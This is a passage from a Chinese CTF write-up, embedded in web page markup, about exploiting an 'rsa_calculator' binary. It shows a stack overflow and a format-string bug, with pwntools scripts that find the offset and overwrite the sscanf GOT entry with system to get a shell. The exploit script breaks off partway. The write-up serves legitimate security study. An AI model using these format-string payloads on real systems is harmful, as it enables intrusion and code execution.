  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这里 ptr 是用户输入的字符，每两位解密成一个字节。比如 41 两个字符解密成一个 A</p>
<p>比如 1024 个字符，应该只用 512 次循环的，因为 i 是自增 2。而这里使用了 2 * v5，所以循环了 1024 次，那么 ptr 后面的内容也被写入 src 中。</p>
<p><strong>当v5&gt;1024时，v7&gt;512，src数组只有512字节（之前的 memset 初始化了 0x200u），直接溢出到后面的栈空间</strong></p>
<p>后面的<code>memcpy(g_ebuf, src, v5);</code>由于两个字符变一个，所以长度变了一半，这里应该是 v5/2</p>
<p>关键漏洞：<code>printf(g_pbuf);</code></p>
<p>还有一点：程序允许用户自定义 e 和 d，且不做任何安全性检查。设置 e=1, d=1 可使加密/解密成为恒等变换（m^1 mod n = m），完全绕过密码学保护。</p>
<p>这里采用 p=61，q=53，e 和 d 都是 1，pq 其实无所谓的，只要N &gt; 255 就可以了，否则程序会说 key 太短。</p>
<p>首先测格式化字符串的便宜，由于加密后是 16 进制显示，A 变成41000000，变成八倍，而 src 最多 520 长度，这里最多输入几十个 %p，多输入会触发 Canary。但是这题的偏移很远，这里用脚本测试。</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">&#39;amd64&#39;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s1">&#39;warn&#39;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">KNOWN</span> <span class="o">=</span> <span class="mh">0x4142434445464748</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">&#39;./rsa_calculator&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;&gt; &#39;</span><span class="p">);</span> <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;p : &#39;</span><span class="p">);</span> <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;61&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;q : &#39;</span><span class="p">);</span> <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;53&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;e : &#39;</span><span class="p">);</span> <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;d : &#39;</span><span class="p">);</span> <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;&gt; &#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">MAGIC_OFF</span> <span class="o">=</span> <span class="mi">80</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="k">for</span> <span class="n">start</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">135</span><span class="p">,</span> <span class="mi">175</span><span class="p">,</span> <span class="mi">3</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="n">fmt</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;|%</span><span class="si">{</span><span class="n">start</span><span class="si">}</span><span class="s2">$p|%</span><span class="si">{</span><span class="n">start</span><span class="o">+</span><span class="mi">1</span><span class="si">}</span><span class="s2">$p|%</span><span class="si">{</span><span class="n">start</span><span class="o">+</span><span class="mi">2</span><span class="si">}</span><span class="s2">$p|&#34;</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="n">src</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">MAGIC_OFF</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">ch</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">fmt</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="n">src</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="n">ch</span>                          <span class="c1"># g_pbuf[i] = src[i*4]</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="n">src</span><span class="p">[</span><span class="n">MAGIC_OFF</span> <span class="p">:</span> <span class="n">MAGIC_OFF</span> <span class="o">+</span> <span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">KNOWN</span><span class="p">)</span>  <span class="c1"># 地址放固定偏移</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="n">hex_data</span> <span class="o">=</span> <span class="n">src</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="c1"># 安全检查</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">hex_data</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">1040</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  [</span><span class="si">{</span><span class="n">start</span><span class="si">}</span><span class="s2">] hex=</span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">hex_data</span><span class="p">)</span><span class="si">}</span><span class="s2">, 跳过&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">        <span class="k">continue</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;3&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;how&#39;</span><span class="p">);</span>       <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">hex_data</span><span class="p">))</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;data&#39;</span><span class="p">);</span>      <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">hex_data</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;result -</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">    <span class="n">result</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s1">&#39;replace&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;&gt; &#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">
</span></span><span class="line"><span class="ln">41</span><span class="cl">    <span class="n">hit</span> <span class="o">=</span> <span class="s2">&#34;0x4142434445464748&#34;</span> <span class="ow">in</span> <span class="n">result</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">    <span class="n">marker</span> <span class="o">=</span> <span class="s2">&#34; ★★★ 命中!&#34;</span> <span class="k">if</span> <span class="n">hit</span> <span class="k">else</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  %</span><span class="si">{</span><span class="n">start</span><span class="si">:</span><span class="s2">3d</span><span class="si">}</span><span class="s2">~%</span><span class="si">{</span><span class="n">start</span><span class="o">+</span><span class="mi">2</span><span class="si">:</span><span class="s2">3d</span><span class="si">}</span><span class="s2">: </span><span class="si">{</span><span class="n">result</span><span class="p">[:</span><span class="mi">65</span><span class="p">]</span><span class="si">}{</span><span class="n">marker</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">
</span></span><span class="line"><span class="ln">45</span><span class="cl">    <span class="k">if</span> <span class="n">hit</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">src[</span><span class="si">{</span><span class="n">MAGIC_OFF</span><span class="si">}</span><span class="s2">] = 位置 </span><span class="si">{</span><span class="n">start</span><span class="si">}</span><span class="s2"> (或其他)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">        <span class="c1"># 用 ≈ 是为了保险，建议还是结束后手动测试</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;src[0]  ≈ 位置 </span><span class="si">{</span><span class="n">start</span> <span class="o">-</span> <span class="n">MAGIC_OFF</span><span class="o">//</span><span class="mi">8</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">        <span class="k">break</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">没找到，扩大范围&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">
</span></span><span class="line"><span class="ln">53</span><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">close</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>能够得到输入的字符串在 140 偏移。这里坑居多，测试的字符串放前面，由于他是每 4 位取一个导致被覆盖。乱七八糟的，没有 AI 真搞不出来。</p>
<p>然后把 scanf 覆写为 system，为什么呢？之前 system 参数都不好搞，现在为什么可以，请看：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">while</span> <span class="p">(</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">v5</span> <span class="o">&gt;</span> <span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">        <span class="n">v9</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">ptr</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">        <span class="n">v9</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">ptr</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">        <span class="n">v9</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">        <span class="n">v2</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">src</span><span class="p">[</span><span class="n">v7</span><span class="o">++</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">        <span class="nf">__isoc99_sscanf</span><span class="p">(</span><span class="n">v9</span><span class="p">,</span> <span class="s">&#34;%02x&#34;</span><span class="p">,</span> <span class="n">v2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl">        <span class="n">i</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">9</span><span class="cl">      <span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>它的参数来源于 v9，也就是我输入 hex 数据的前两字节。</p>
<p>换成 system 后：<code>system(v9, &quot;%02x&quot;, v2);</code>，而 system 函数只看第一个参数。所以输出 sh 就可以了。</p>
<p>这题没有 PIE，函数地址都是固定的</p>
<ul>
<li>scanf：0x602048</li>
<li>system：0x4007C0</li>
<li>func：0x602500</li>
</ul>
<p>所以payload 长这样：<code>[打印 0x4007c0 字符]%(scanf 地址偏移)$n[打印特定数量凑整]%(前面偏移+1)$hn%(再加 1)$hn[scanf 地址][scanf 地址+4][scanf 地址+6]</code></p>
<p>由于 scanf 被调用过，里面是 libc 地址，所以不仅要写入低 4 字节，还要往里面高四字节分别写入 00。</p>
<p>0x4007c0 = 4196288</p>
<p>想要把写入的字数变成 0，只要大到溢出，然后 mod 65536 为 0 就行，也就是 65536 倍数。</p>
<p>这里取63552，加上之前的 4196288 是4259840，是 65536 倍数，于是变成 0，就能写入 00 了</p>
<p>高字节的高二字节就不用折腾了，因为已经是 0 了，直接写偏移就好。</p>
<p>现在 payload 变成了<code>%4196288c%N$n%63552c%N+1$hn%N+2$hn[scanf 地址][scanf 地址+4][scanf 地址+6]</code></p>
<p>已经知道了字符串是 140 偏移，那么 N 起码是一百多，也就是 3 位数，所以前面的格式化部分长度为 36。</p>
<p>由于<code>g_pbuf[i] = v2;</code>，这里 v2 四字节，所以实际上是每个字符占 4 个字节，上面 36 个字符就是 144 字节，64 位系统，8 字节一个位置，那就是占了 18 个位置。所以后面那个 scanf 地址应该是 140+18=158 的偏移。</p>
<p>payload：<code>%4196288c%158$n%63552c%159$hn%160$hn[scanf 地址][scanf 地址+4][scanf 地址+6]</code></p>
<p>注意，后面的地址要打包添加在后面。</p>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">&#39;amd64&#39;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s1">&#39;info&#39;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">SYSTEM_PLT</span> <span class="o">=</span> <span class="mh">0x4007c0</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">SSCANF_GOT</span> <span class="o">=</span> <span class="mh">0x602048</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">def</span> <span class="nf">setup_key</span><span class="p">(</span><span class="n">r</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;&gt; &#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;p : &#39;</span><span class="p">);</span> <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;13&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;q : &#39;</span><span class="p">);</span> <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;23&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;e : &#39;</span><span class="p">);</span> <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;d : &#39;</span><span class="p">);</span> <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;&gt; &#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="n">log</span><span class="o">.</span><span class="n">success</span><span class="p">(</span><span class="s2">&#34;设置种子成功)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="k">def</span> <span class="nf">build_payload</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="n">fmt</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="si">%4196288c</span><span class="s2">%158$n</span><span class="si">%63552c</span><span class="s2">%159$hn%160$hn&#34;</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;格式化字符串 (</span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">fmt</span><span class="p">)</span><span class="si">}</span><span class="s2"> 字符): </span><span class="si">{</span><span class="n">fmt</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="c1"># 格式化字符 (36*4=144) + 3 个地址 (24) = 168 字节</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="n">src</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="mi">168</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="c1"># 每个字符在src中占4个字节</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">ch</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">fmt</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">        <span class="n">src</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="n">ch</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
